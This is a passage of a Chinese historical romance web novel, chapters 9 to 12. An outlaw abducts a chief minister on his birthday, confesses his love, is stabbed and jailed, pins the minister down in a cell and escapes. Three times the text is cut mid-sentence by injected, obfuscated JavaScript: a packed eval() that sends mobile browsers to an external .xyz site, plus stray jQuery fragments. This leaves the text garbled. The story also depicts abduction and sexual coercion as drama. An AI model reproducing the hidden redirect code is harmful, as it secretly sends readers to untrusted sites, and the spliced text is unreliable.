然后那人自顾坐到案边,迈开大长腿,端起一杯茶喝了一大口,咽下去后,喘了口气,“两日,从栾安县跑到景都,再找到你的住所,马都被我跑倒了一匹,渴死我了。”
沈卿钰只能从黑暗中看到来人身形异常高大,看不清他的面容。
他凝神去看,深深皱起眉头,还没开口说话,窸窸窣窣的声音响起,一股梅香乍然在空气中绽放开来。
紧接着,火折声响起,一点烛火点燃,他终于看清了来人的面容。
那是一张极为英挺俊朗的脸,张扬不羁的眉宇间是一双澄澈透亮的桃花眼,此刻含着笑意在烛火中盈盈地看着自己。
微光映照下,他耳后根上的刺青“囚”字渐渐清晰起来。
沈卿钰双眼陡然睁大,随之漆黑的瞳孔剧烈震颤,他失声道:“是你!!”
“是我啊,很惊讶?”
和他对视上后,陆峥安本来尚算平静的心绪又开始狂乱无章地跳动起来,就连手中折来的梅枝都险些拿不稳。
堪堪平复了几下,他才维持住脸上的笑意,将手中的梅枝递给他:“路过梅林的时候随手摘下来的,觉得很配你,希望你会喜欢。”
梅枝上还滴落着清晨的露珠,花瓣是绽放正好的浓红。
可沈卿钰却无心去看,而是眼眶泛红、情绪激动地大叫道:“你竟敢现在出现在我面前!!”
看见他的激动,陆铮安稍有些疑惑地蹙起眉头,随后心绪而至,眉头很快松开,他刚刚说“现在出现”?意思是怪他来迟了对吗?
思及此,他眉间泛起一丝惊喜,他站起身来到他面前轻声解释道:“对不起,是我的错,我来晚了,让你等了这么久,我需要时间去想清楚——”
还没等他说完,门外传来阿林和阿牧的敲门声:“大人,出什么事了吗?什么声音啊?”
陆峥安皱了皱眉,眼看沈卿钰要转过头,便不由分说地走上前,在他来不及反应之中,快速朝他胸口一点,沈卿钰便发现自己说不出话也动不了了,眼睛通红地看着离自己近在咫尺、放在桌边的长剑。
看见他一直盯着桌子上的剑,他替他收进剑鞘后塞进他怀中。
“喜欢就带着吧,但不准瞎玩。”
“这里不方便说话,我们先走。”腰间传来一股灼热的温度,男人将自己牢牢抱在了怀里,视线猛然升高,窗户被他轻易打开后,男人足尖轻点,耳边很快传来阵阵呼啸风声。
他看着足下迅速掠过的匆匆人影和建筑屋檐,胸腔被不可置信和极为愤怒激动的情绪给震颤的剧烈起伏,眼眶红了一大片,又被冷风吹的十分刺痛,眼泪几乎快流了出来。
正在这时,一条柔软丝滑的白绫系在了他眼睛上,盖住了他眼里的神色。
似乎当不再看见那双冷艳的眼睛、不再和他对视后,陆铮安才感到一直震动不止的心跳终于安静了下来,他才能平静地说出话来:
“我来了之后,才知道今日是你的生辰,来得早不如来得巧。”
“我给你准备了礼物,只是现在先不能让你知道。”
他带着一丝笑意,看了看被盖着眼睛、露出精巧白皙下巴的沈卿钰,有如圣洁的白雪一般清冷,或许是风声太大,怀中的温热触感让他心绪又开始起伏不平起来,他轻轻捏了一下怀中人被风吹红的耳垂,“冷吗?”
随着他的动作,怀里的人似乎抖着震颤了一下。
“看来确实是冷。”他抬手将绑着他眼睛的白绫绕了一下盖住他的耳朵,然后收紧了手里的动作,将他牢牢裹紧在自己怀中,手贴紧他腰际的时候,发现比之前竟然细了一圈,他略有些惊讶,然后确认一般地环着他再次上上下下摸了好几下,确认是真的瘦了一圈,有些犯愁,“本就腰细,现在怎么更细了啊。”
他捏了捏眼前人挺翘的鼻尖,桃花眼中带上了一丝责怪,声音放轻:“不好好吃饭啊?嗯?首辅大人?”
怀里的人又震颤了一下,陆峥安闻到他头顶刚沐浴后的清新的水汽,看到他细嫩白皙的脖颈从衣襟中露出一角来,沁了点晶莹的汗珠,鼻尖萦绕着阵阵清冽的梅花香,起伏的心绪被痒意缠绕,他低沉的声音有些哑:“刚沐浴完吗?”
怀中人却久久不回复,他这才想起自己点了他的穴道,让他不能动也不能说话。
刚想替他解开,却又想到等下要说的话,眼看着眼前屋檐逐渐变高,马上快到了,他还是停下了手中的动作。
他想,他还是没办法平静地对他坦露心迹。
这样也好,先等他说完,他再解开他穴道听他说。
很快,来到景都最高的一处屋檐上,他从怀中掏出一块布给沈卿钰垫上,带着他坐在了琉璃瓦的屋檐上。
“这里是我找到的景都城风景最好的地方,能将景都城下的人生百态、街道繁华,一览无余,我想你应该会喜欢的。”
因为一路来的奔波,他脸上淌下了几点汗珠,滚落在流畅硬朗的下巴上,他浑不在意地用袖子擦了一下,然后双手撑在屋檐上,抬头看着已近夜幕、星光显现的天空,是个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025616|162241||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
极好的日子。
他又转头去看坐在身边一身白衣的沈卿钰,那被白布遮住眼睛的人如雪一般清冷的面容和这几日在梦中见到的并无二致。
屋顶一阵风吹过,吹起遮盖在他脸上纤薄的白绫,在漫天星河,渺渺烟火之中,似要随风而去,飘然若仙。
心已经沸腾成了湖水。
他深吸一口气,笑了笑道:
“接下来我要说的话,可能有些乱,但都是真心所至、绝不掺假。”
丝缎一样的墨发飘在他脸上,冷香袭来,他轻轻坐起身,替沈卿钰拨开他耳边的发丝,声音沙哑:
“第一次见你的时候,你穿一身红衣,在冰雪之中如盛放的寒梅,格外的惊艳。”
——丛林雪中见卿卿,眼波明,羽眉轻。
他怎么都忘不了当时的感觉,可却又说不出到底是什么感觉,总觉得用简单的‘惊艳’二字,无法完全概括出来。
这是他翻遍了山中书籍,能找到的最准确的一句形容。
他的声音极轻,桃花眼里闪着细碎的光,漆黑的瞳孔中专注地倒映着眼前人的身影。
“我知道,我们当初的相遇有些突然,后来温泉中发生的一切也是情急所致,但我很庆幸,当时遇到你的人,是我。”
“我没有喜欢过别人,也没有和别人这样亲密接触过,我不知道喜欢一个人到底是什么感觉,我们相遇不过短短数日,我总觉得轻易说喜欢会轻贱了你,也会太过草率,可这几日我辗转反侧,梦中模模糊糊、总是会出现你的身影。”
……他知道,心动只是瞬间的感觉,可能当时记得清楚,时间长了就会忘了。
可思念不会这么轻易饶过人,思念会在日日夜夜、无法相见的时候,从一砖一瓦、一草一木、一息一存中钻出来,驱使他跑到这里来。
他确信——
“我能确信的是,我会因为见不到你,而在梦中想念你,会因为想念你,就跨越千山万壑来见你,会因为见到你,就忍不住想给你准备惊喜。”
“我知道我们的相遇太过仓促也过于戏剧,彼此的了解也太少,可我还是想说——”
沉吟片刻。
严谨又认真的声音传来:
“从现在开始,我可以正式喜欢你吗?”
天空中突然飘起雪来,细密洁白的雪花柔柔地洒在二人的眉梢发间,像给他们盖了一层薄薄的羽毛,此刻安静|坐着的他们仿佛被蒙上了一层雾。
远处烟火渺然,依稀可以看见人间繁华和长街万里。
但此刻的天地是寂静万分的。
他抬手拂去沈卿钰眉梢的雪花。
随后手掌滑下,轻轻掌住他的脸,近距离面对面地看他。
他能看到他脸上细密的绒毛,在洁白无瑕的皮肤上轻轻扫荡,那轻柔的触感像扫荡在了他心上,泛起阵阵的痒意。
心快要从胸腔中跳出来了。
他缓缓闭上眼睛,将唇凑近了那形状完美的唇前。
天光在他们侧脸照出优美的弧度。
直到咫尺距离,
一片雪花飘落在他唇上,冰凉的触感让他睁开了眼睛。
轻笑一声:
“对不起,我忘了,这件事应该先征得你的同意。”
看了看远处的天空,他道:“时间快到了,先看我为你准备的生辰礼物吧。”
盖在沈卿钰眼睛上的布帛滑落下来,
白色的丝带随雪而飞。
他解开了他身上的穴道,站起身来后退几步。
然后,朝身后摆放成一堆的烟花丛打了个响指。
烟火点燃。
“咻——”地一声响起。
接二连三、密密麻麻地、一声接一声。
五颜六色、缤纷绚丽的烟花从屋顶窜出来,冲上云霄照亮了这整座景城,屋檐上的琉璃瓦被璀璨耀眼的烟花照的发亮,漆黑的天空添上了浓墨重彩。
雪仍然在下,且有愈下愈大的趋势,远处街道上的人来人往、熙熙攘攘都被大雪裹进了风中,让人听不清,空气慢慢变得沉静下来。
唯独极轻、极轻的声音从面前人身上传出:
“生辰快乐,阿钰。”
烟火照耀下,那张张扬不羁的脸被镀了层光,一双澄澈的桃花眼里波光粼粼。
10. 抓捕入狱(文案一回收)
空气只寂静了片刻。
然后,毫不犹疑地——
“噗嗤”一声。
长剑没入皮肉的声音。
血花渲染在他胸口。
沈卿钰手持长剑,不知何时来到他身前,用力将剑刃往他胸口捅了进去。
陆铮安视线一寸寸从埋入胸口的利刃,再移到眼前的雪白人影身上。
沈卿钰低着头,用力攥着剑柄,由于压抑的愤怒而浑身都在颤抖,一字一句咬牙切齿:
“你这个!无耻之徒!”
“竟然、还敢、出现在我面前!!”
陆峥安心脏有一瞬间的停滞,由于常年习武的潜意识,让他知道对方的剑只堪堪捅破了皮肉,伤口看起来血淋淋,其实并不足以伤及他的性命。
可他看着沈卿钰的愤怒和憎恶,油然而生出一种诧异和惊愕的感觉来。
为什么?事情会变成这样?
再次——“噗嗤”一声。
胸口皮肉被破开,眼前人用力抽出了剑柄,长剑剑尖上沾满了他的血迹,陆峥安胸口已经被血染红了一大片。
可他却并不顾及,而是第一时间去看沈卿钰的表情。
眼前的人全然不似他想象中的那样期待和情意,那双冷艳无双的眼睛通红成了一片,此刻带着冷冰冰的、噬骨的杀意,充满厌弃地看着自己。
就像在看一个死物一样,不带丝毫感情。
陆峥安心下一震,说不出来是因为胸口的伤还是因为别的什么。
他问道:“所以,刚刚我说的话,你一句都没听对吗?”
“闭嘴!”沈卿钰再次将长剑对着他,言语里是掩不住的憎恶和冷意,“花言巧语、巧言令色,我为何要听!”
“你就是这样看我的?”嘲讽的笑容从他嘴角扯出。
沈卿钰别开眼去,负手而立,眉宇间凝着霜,似乎看他一眼都嫌多余。
陆峥安捂着胸口,还想上前说些什么。
“大人!属下救驾来迟!”
就在这时,一道凌厉的长鞭从他面前挥过,他侧身一躲,胸口的伤口又被扯开了一点,瞬间一大片血迹晕染出来。
一个青色的人影跳到他身前,随即一道银白色的长鞭朝他挥了过来,陆峥安没带兵器,虽然此刻身上受伤,对他的来势汹汹竟也只是退了两步,行动间颇见有余。
看到将他挥退后,阿林朝沈卿钰跑去:“大人,您没事吧?!”
他看向持剑而立的沈卿钰,见他身上没有任何伤处后松了口气。
又看向面前胸口被捅了个血窟窿的男人,倏然愣住,怔了片刻。
随后,观察到沈卿钰手中沾上血迹的长剑,联想到之前他们闯进屋子后,只剩下被破开的窗和远去的两道人影,便有些猜想到了。
“大胆贼寇!竟敢挟持朝廷命官!”
阿林沉下脸来,拿着鞭子直直朝陆峥安呵斥道。
“呵。”陆峥安嘲讽一笑,无视胸口的伤口和他的阻拦,朝沈卿钰走近。
见状,阿林如临大敌地朝他挥去一鞭:“退开!不准过来!”
“滚开。”陆峥安攥住他手中的长鞭,不知用了什么巧劲,阿林紧紧攥着的长鞭便被他轻易抢了过去。
“你敢抢我鞭子!”
“哼,爷玩鞭子的时候,你还不知道在哪吃奶呢。”他将那银白色的长鞭往屋檐下用力一甩,不顾胸口汩汩流出的血迹,朝着沈卿钰继续走近,眉宇间埋着一片阴霾,“我有话和他说,不想死就别拦着我。”
闻言,和他擦肩而过的阿林神色一僵。
“今天,你谁也杀不了。”
沈卿钰让他看向他身后的一众跟上来的羽林军,朝跟上来的李总兵冷冷下令:
“把他带下去,押入大理寺。”
陆峥安看到他面前气势汹汹的一群人,各个如临大敌的样子,勾起一笑:“看来今天你是铁了心要抓我进去了?”
沈卿钰冷哼一声,没有回他,甩袖离开。
将陆铮安逮捕入狱后,他也没忘记晚上和顾太师的约定,重新收拾了一下后便赶去了顾府。
回来后已近巳时。
李总兵告诉他,牢狱里今天抓的匪寇不肯配合,嚷着要见他,已经连着打伤了两个想提审他的狱卒了。
沈卿钰深深蹙起眉头,刚想说话,在一旁的阿林便拦道:“大人,此人受过黥刑,一身武艺高深莫测,就连我也看不出他到底师从何人。还对您毫无恭敬之意,流里流气的,我看他大概是身上背着人命、亡命江湖的流寇,您不如交给大理寺来处理,以免污了您的耳朵。”
“不必。”沈卿钰刮掉茶盏浮沫,喝了一口茶,抬起清泠泠的眼睛看着前方,“我亲自来审。”
……
来到大理寺最右边的牢房。
狱卒见到他进来后,恭敬地给他将牢门打开,在他吩咐之后退了下去。
阿林跟在一旁不肯走,沈卿钰却坚持:“我心中有数,你们先出去。”
阿林将他随身带着的长剑交给他,又检查了好几次捆着陆峥安的铁链是否牢固后,才放心出去了。
等周围的人都走光了后。
“等你好久了,沈大人。”
懒洋洋的声音,还带着一丝嘲弄。
沈卿钰提起长剑,垂眸看向牢狱中直直盯着自己的男人。
他嘴角勾起一抹冷笑,霜月如华,擦拭着剑,缓缓道:“既想见我,那我就来送你最后一程。”
“挟持朝廷命官、受过黥刑、戴罪之人,还敢大摇大摆出现在景都,私闯首辅府。”
“陆峥安,你真的是胆大包天。”
听到他叫自己的名字,地上传来低沉的笑声:“你还记得我的名字。”
“哼。”沈卿钰将长剑架在他脖颈上,眼里闪着冷漠的光,一字一句道,“这次,你死定了。”
男人身材高大挺拔,嘴边堪堪衔着一根草,没骨头地撑在地上的草席上,抬起的桃花眼像是水洗过一样明亮,没有丝毫害怕地笑着:“这么急着给我安插罪名?”
他撑着手从地上站了起来,桃花眼带着嘲讽的笑意,不顾架在脖子上的剑,一点点挪近沈卿钰:“好歹那日你中毒,我也是以身犯险、亲自救你于水火的救命恩人。”
他攥紧了沈卿钰的手中的剑,压低声音道:“堂堂首辅不思报恩,现在还恩将仇报,反咬一口?”
“放开!”沈卿钰冷喝一声,让他放开他的手,“不然我现在就杀了你。”
陆峥安挑了挑眉,看到自己手心里渗出的血迹轻笑出声,笑意不达眼底:“怎么、谋杀亲夫啊?”
“闭嘴!”听到他说的“谋杀亲夫”这几个字后,沈卿钰跳动着额角的青筋,难以忍受地大喝道。
他手上用力,将长剑又往前递了一分,直到锋利的剑刃在对方脖子上划出一道鲜红的血迹。
“哐啷”一声响。
长剑在地上砸出刺耳的声音。
“救我?信口雌黄!颠倒黑白!”他剧烈起伏着胸膛,咬牙切齿地看着面前这个罪魁祸首,“如果不是你趁人之危,我怎么会变成——”
他又怎么会变成这幅不男不女的样子!又怎会阴阳颠倒,以男子之躯…!他阖起眸子,最终还是没将事实说出口,可心里的恨意和耻辱并不会减少分毫,反而愈烧愈旺。
他冷冷地看着陆峥安:“你如此辱我,我必杀你!说到做到!”
“杀我?”陆峥安手上因为刚刚握着剑刃已经流出了血迹,可他顾不上分毫,他此刻情绪也已经濒临冰点,他为了来见他,赶了两日的路,为他做了那么多,付出了自己的所有真心,可对方将他弃如敝履不说,还对他恶意满满甚至欲杀之而后快。
他陆峥安生平二十年以来,第一次以一腔赤忱去喜欢一个人,可对方言语之间却全是对自己的轻蔑和鄙夷,仿佛他是什么臭虫一样,眼里根本没有自己不说,还倒打一耙。
他第一次觉得,人和人之间隔着的不仅仅有身份和地位的差距,还有深不可测的成见。
他反问道:“我趁人之危?你是忘了你当日中药之时,是如何一副景象了吗?如果我不救你,难道眼睁睁看着你经脉逆流,从此沦为一个废人吗?”
“谁要你多管闲事的?!”沈卿钰大声道,“我宁愿经脉逆流,也好过跟你这个无耻之徒苟且!”
思及面前之人是个流
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025617|162241||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
连青楼、轻浮浪荡的无耻之徒,他只觉得胃里在翻江倒海:“太恶心了!”
“你说什么?”陆峥安面色一沉,向前钳住他的胳膊,“你给我再说一遍?谁恶心?”
沈卿钰掀开眼皮,用毫不掩饰地、冰冷刺骨的眼神冷冷看着他,重复道:“我说,和你这个肮脏不堪的匪寇苟且,让我感到恶心不适。”
“沈、卿、钰!”陆峥安彻底沉下脸来,咬牙道,“我脏?我他妈这辈子只和你一个人这样过,你说我脏?我清白明明是毁在你手上的!”
“放手。”沈卿钰挣开他的桎梏,整理了一下被他弄乱的衣袖,转过身去,连半分眼神也懒得分给他,显然并不把他的话当回事。
陆峥安见他这副高傲冷漠的样子,便知道他根本不信自己的话,是铁了心把自己当成了爱偷香窃玉的孟浪之徒了。
偏见!
“你的罪证,我会慢慢查,但我告诉你,这不会太久。”
“等着你的死期吧。”
冰冷的声音响在这暗无天日的牢狱中。
陆峥安扶着额头,突兀地笑了起来。
笑声越来越大,越来越放肆。
“你笑什么?”沈卿钰蹙眉看向他,见对方不回他,便冷哼一声,转身朝门口离去。
谁知,“咔嚓——”一声,好似铁链被崩开的声音响起。
胳膊被一股大力抓住,天地旋转间他便被枕着头压在了草席上。
压在自己身上的男人笑得轻佻,“首辅大人想走?羞辱完我就想走?有这么好的事吗?”
看着他压住自己的手,地上刚刚栓着他的铁链就这样被他打开了——
沈卿钰眼中极快的划过一抹不可置信,可很快却又因为他接下来的动作而瞳孔放大——男人顺着他的胳膊一点点往下牢牢将他的手握在了掌心,指尖触碰之间,那沾了血迹湿滑的触感让他瞬间拧起了眉头,眼里凝起冰雪:“你想干什么?”
“想干什么?想干|你你看不出来?”
“你有种再说一遍?!”漆黑的瞳孔泛起冰冷的怒意。
“有什么不敢?”陆峥安牢牢控制住他,摊开掌心,将鲜血淋漓的手一寸寸挤入他冰凉的手心和他十指交握,“嫌我恶心?说我脏?嗯?”
他将沾着血迹的手指用力在他柔软的唇瓣上摩擦,直到摩擦到那张清冷圣洁的脸上染上鲜血的痕迹,高山雪莲落入凡间,他才满意:“这样才好看嘛,和当初我见你的时候差不多。”
他无视沈卿钰强烈的挣扎,见到他神色中的厌恶和化不开的冰冷,心中刺痛,嘲讽道:“都是男人,何必这幅不堪其辱的样子?我又没拿你怎么样?明明当初你也很享受不是么?当初伏在我身上,紧紧咬着我不放,求我用力,一次不够还要再来一次的人,不是你——”
“啪——”地一声。
巴掌声突兀地响起,他被打的头偏移向了另一边。
随后,身下的人挣脱掉他的束缚,手腕骨一股刺痛传来。
沈卿钰从地上站起来,掐住他的脖子,
用力一把将他掼在了墙上。
泥土做的墙被成年男子高大的身躯砸的发出发出巨大的闷响,喉头涌上一股腥甜,陆峥安觉得五脏六腑都要被震出来了。
嘴角隐隐流出了血迹,他也没用手擦一下。
一双桃花眼里闪着挑衅的光:“怎么,生气了?”
颊口被狠狠掐着掐的他半边脸都快肿了,面前的沈卿钰一双眼睛黑如深潭,来自上位者的气势铺天盖地而来,冰冷又无情的话从那形状完美的唇中吐出:“继续、说。”
“呵。”陆峥安被掐的脖子涨的通红,已经是进气多出气少了,可脸上不见丝毫害怕和恐惧,仍是那副桀骜不驯的样子,赤红的眼角溢出邪气,他笑着一字一句吐息,“用力啊、力气、太小了。”
“哼。”沈卿钰放开手,冷冷将他甩到地上。
“咳、咳。”身后人咳嗽不止。
“牙尖嘴利,过了今晚,就是你的死期。”
丢下一句。
月白的身影很快消失在牢狱之中,只留下牢狱中那双漆黑明亮的眼睛,如狼一般,深深盯着他离去的方向。
11. 破冰
腊月的北风没有了刺骨的寒意,但仍吹的人止不住地冷,此刻的首辅府灯火通明,书房案上躺着李总兵快马加鞭从县丞呈上来的卷宗。
陆峥安被以“不敬首辅”的名义抓进了大理寺,可在大棠,这个罪名审理下来最多也就是打几十大板,然后关几天就会放了。
所以沈卿钰还要找其他罪证,才能真的对他做什么。
要找到陆峥安的罪证并不难。
本朝的黥刑在各个地方有不同的体现形式,其颜色和字迹以及位置都各不相同。
沈卿钰根据他耳后根上刻着的“囚”字的字体笔法和颜色,和他口中所说的从栾安县赶来的信息,就可以让当地官员协助调查,然后找到他以前的罪证,等罪证落实,想让他关在大牢里永远也出不来,也就是轻而易举的事了。
根据他的案件,沈卿钰还打算揪出他身后的贼窝以及一干为非作歹的同伙,上一道奏疏一起剿匪。
在一旁磨墨的阿牧从屏风旁拿了件大氅披在坐在案前的沈卿钰身上,轻声叮嘱了一声:“大人忙完后要早点休息,桌上有小暖炉您冷了记得暖手,有事随时唤我。”
直到出门关上房门的时候,对方也没回他,他不放心地从窄细的门缝中看了一眼。
灯火萎蕤,那一身白衣的人清冷似雪,昏黄的光线照在他圣洁无暇的脸上,却没有温暖分毫他脸上冰冻三尺的寒意。
疏离淡漠的眉宇此刻紧紧蹙起,眉目间凝着一缕化不开的浓愁,摊开卷宗的手却紧紧攥着竹简边缘,骨节都被攥的泛白。
关上房门,阿牧轻声叹了口气:“前日从牢里回来就这样了,那贼寇肯定和大人说了什么大逆不道的话,才惹得大人这样生气。”
思及那日大人回来后,脸上仿佛凝着可以杀人的气息,衣服上还有斑斑点点的血迹,当时他心里一惊问大人出了什么事,可大人却说无事发生,便回了房间没再出来。
他摇了摇头,叹息着走了。
……
而此刻房间里的沈卿钰看到卷宗封皮上的“银州”二字后,眼里划过一抹熟悉。
他紧锁起眉头,打开卷宗,盯着卷宗上的字逐字逐句看了起来,直到看完最后一行字,眼神倏然一僵。
似乎是为了确认自己看到的内容,又重新翻到第一页又看了一遍,一连翻了好几遍,确认看到的内容并不是自己的幻觉后,手指松开又倏然攥紧,漆黑的眼眸骤然一缩,眼神彻底凝住。
只见烛光照耀下,那暗黄色看起来时间已经有些久远的卷宗上写着——
“泰和十四年六月,一伙贼寇在银州官府奉命征收田税之时闯入现场,打伤官兵十余人,被捕期间态度嚣张、拒不认错,其中以贼首陆峥安为最,其人极为猖狂,教唆一众刁民在一旁滋扰办案,为这伙贼寇求情,民匪勾结,县令下令将这伙贼寇连同刁民一起抓入大牢,以彰皇威,贼首却伙同众人,趁守备薄弱之时,带着一群刁民越狱,最终县丞大人施以巧计,诓那贼寇折返回狱才将其抓回,可终究是轻敌大意,黥刑施完贼首奋力抵抗乃至逃跑,至今下落不明。”
沈卿钰沉着眸子思索片刻,倏然从椅子上坐起来,开始翻书架上的卷宗,直到翻到最后一层,才终于翻出一个暗黄色布满灰尘的卷宗,那封皮上写着“银州”两个字。
他就着昏暗的烛火看了下去,终于翻到他想看的那几页,还原出了事实的真相。
银州知府贪|污受贿、征用民田的事,是他十六岁时任督察使办的第一件案子。
当时朝廷下达了必须在秋收之前收齐所有田税的命令,而地方百姓刚遇蝗灾,收成全无甚至都难以维持生计,因此无法缴齐赋税,官府担心完不成任务便领着一众官兵践踏稻田,逼百姓们若不交税,便拿田抵税,最后百姓们被逼的只能卖掉自己的田,可收来的田地大部分被当时的银州知府本人收入囊中,剩下的少部分则用来改种蔬菜瓜果,抵押田税了。
可李总兵递过来关于陆峥安的卷宗是他查银州知府贪|污案的一年前发生的,他当时去的匆忙并没有来得及去一件件看,这才发现原来这件事自己是间接参与过的。
——换句话来说,李总兵给他的这个卷宗不仅无法给陆峥安定罪,甚至成了他当年无辜受刑翻案的证据。
卷宗“啪——”地一声被他合上。
漆黑的瞳孔中划过深深的震颤和不可置信。
然后几乎是急于求证一般的,他又跑到岸边翻看起后面的几个卷宗。
上面一个个记录着——
“时年七月,轵城衙役与一屠户发生争执,被屠户残忍杀害,在秋后问斩之时屠户却被一伙匪寇救走,为首男子姓陆,追查数日,几人至今下落不明……”
“年一月,台洲挂大风,一群贼寇闯入府衙盗走……”
……
卷宗竹简如同倒豆子一样哗啦啦被他翻了个遍,一桩桩一件件像写尽了陆峥安的生平。
虽然言辞掩饰,可事实却总能抽丝剥茧被有心之人发现。
沈卿钰当然知道书写这些卷宗的执笔人在为谁隐瞒事实真相,真相和卷宗截然相反的事实了。
事实好像在告诉他,那被他抓入牢中的贼寇并不是他想象中的无耻之徒,相反是个有情有义、侠义心肠的江湖侠士。
“这不可能!”
用力一挥,哗啦啦一声,岸上的笔墨纸砚连同碎掉的那块“沈”字玉佩,一起落到了地上。
沈卿钰扶着案边垂着头,胸膛因为刚刚的动作而剧烈地起伏。
他盯着从案边滚落的玉佩,眼里浮现一抹痛恨。
就算他不是大奸大恶之徒,有着超乎寻常的侠义之心,难道就能抹消掉他曾对他做过的事吗?难道他就能恢复以往,不用承受阴阳颠倒、日后甚至可能怀上孽种的后果了吗?!
这些屈辱,并不会随着他对他的了解而减少,只会一直如影随形!
烛光模糊之间,脑海里,却闪过顾太师那日生辰在府中对他说的话:
“听说子瑜你抓了个贼寇?他是不是欺负你了?惹我家子瑜不高兴,师父替你揍他。”
“现在这些草寇一茬不如一茬了,以前我遇到的江湖草莽,各个都是有情有义的好汉啊。”
泰山当前,一叶障目。
他不得不承认,事无绝对,人也是复杂的。
可他一想到那人对自己是何等的轻佻放荡,还是个流连花丛、阅人无数的好色之徒,还趁自己昏迷之时对自己为所欲为,做尽了下流事,他就仍然放不下这口气,只想杀了他!
心乱的不成样,门外却传来阿林的敲门声。
他瞥了一眼桌上的案几,整理好自己的衣着后,将门打开走了出去。
阿林在门外快速看了他一眼,将手上的一封信递给他:
“大人,应天府来报,您之前玉佩丢失的案子另有隐情,这是地方呈上来的。”
沈
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025618|162241||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
卿钰攥着手中的信封,垂下眸子没有说话。
他朝阿林点了点头:“知道了,你先下去吧。”
“是,大人。”
拆开信封看完后,他静静站在原地良久,直到打开门转头看到被扫落在地的卷宗露出的一角,眼神变得更沉寂了。
就连何时出的门他也记不清。
直到“咻”地一声响起,烟花噼里啪啦的喧嚣声在耳边炸开,他才如梦初醒,抬头看向天空。
元宵节后的热闹仍在持续,景都城这几日灯火通明、昼夜不歇,远处热闹非凡的街道叫卖声和行人交谈声不绝于耳,晴朗无云的夜空星河交递绵延不绝。
街道中央宝津楼台上,有艺人在表演武术杂技,一个身穿黑色劲装的年轻男子来回穿梭在屋檐和高台之上,扎起的长发飘荡在风中,英姿飒爽的样子让台下一众看客纷纷叫好。
他有些恍惚地看了好几眼,直到脚下好像撞到什么东西,他低头去看。
一个粉雕玉琢的小女孩在地上哇哇大哭,身边是不知何时被他撞到地上的拨浪鼓。
沈卿钰蹲下身,想将她拉起来:“抱歉,别哭了,我赔给你——”
那小女孩看了他一眼后,盯着他右半边脸,哭的更大声了,边哭边往后退:“我不要!你看起来好吓人,离我远点呜呜!”
沈卿钰顺着她的视线,才注意到自己脸上不知何时沾上了墨水,他连忙抬袖擦掉。
这时从后面跑来一个妇人,一把抱住了地上的女孩,看了他一眼后,愣住了。
“事非所愿,实在抱歉,您是她娘吧?我把拨浪鼓的钱赔给你们。”沈卿钰从怀里掏出银子递给她。
“不用不用。”妇人爽朗一笑,然后捡起地上的拨浪鼓,“这个没坏,不用破费了公子!”
她怀里的女孩却还在哭,催促着她赶紧走。
妇人歉意地看了沈卿钰一眼,然后忙抱着怀里的女孩走了。
等他们走后,沈卿钰在他们身后隐隐约约听见他们说:
“娘,那个哥哥看起来冷冰冰的,像是要吃人。”
可不知为什么,此刻。
他耳中恍惚间回响起那道低沉的声音:
“你就是这样看我的?”
他愣住了身形。
一双清凌凌的眼睛迷茫地看着前方。
直到手心一动,有什么东西被塞入手中。
他垂眸去看,是一颗包着漂亮糖纸的橘子糖。
刚刚走了的小女孩折返回来,对他甜甜一笑:“大哥哥,对不起,请你吃糖。”
在妇人带着善意和鼓舞的眼神中,小女孩害羞地捂着脸,朝着妇人跑去扑入她怀中。
等二人走后。
他站在街边,摊开手掌心,缓缓剥开层层糖纸将糖果轻轻放入口中,静静看着前方。
远处酒楼还在放着烟花。
光点慢慢碎在他眸中。
只剩下橘子糖的酸甜留在他喉咙里。
沉思片刻,他攥紧手心,转身朝大理寺方向走去。
一路向西,进到最里面关押陆峥安的牢房,却发现看守牢门的狱卒们围在门口|交谈,其中一个狱卒还带着一身伤,各个满头大汗,神色焦急的样子。
“出什么事了?”
那群狱卒看他出现愣了一下。
然后让开身形,显现出此刻空荡荡一片的牢房。
“大人,那犯人逃跑了。”
12. 打脸
陆峥安是在狱卒给自己送断头饭的那晚逃走的。
此刻的他正飞快地掠过景都城的屋檐,脚下的琉璃瓦映照着他轮廓流畅的侧脸,远处长街繁华依旧。
那双澄澈如洗的桃花眼中却不见往日的轻松,黑漆漆的眸子情绪不断下沉。
面色算不上好看。
甚至很臭。
他用铁丝解开了牢门的锁,然后将那个平时对自己骂骂咧咧的狱卒暴揍一顿打晕后,换上他的衣服堂而皇之地走出了大理寺的牢狱。
这样的越狱流程,对于他这样时常出入大牢的人来说,实在是小菜一碟,熟悉的不能再熟悉了。
得益于他这段说来并不算光彩的经历,所以那日,沈卿钰来狱中审他的时候,他能轻而易举地解开镣铐,还能将沈卿钰反制压在地上,也就不是什么稀奇事。
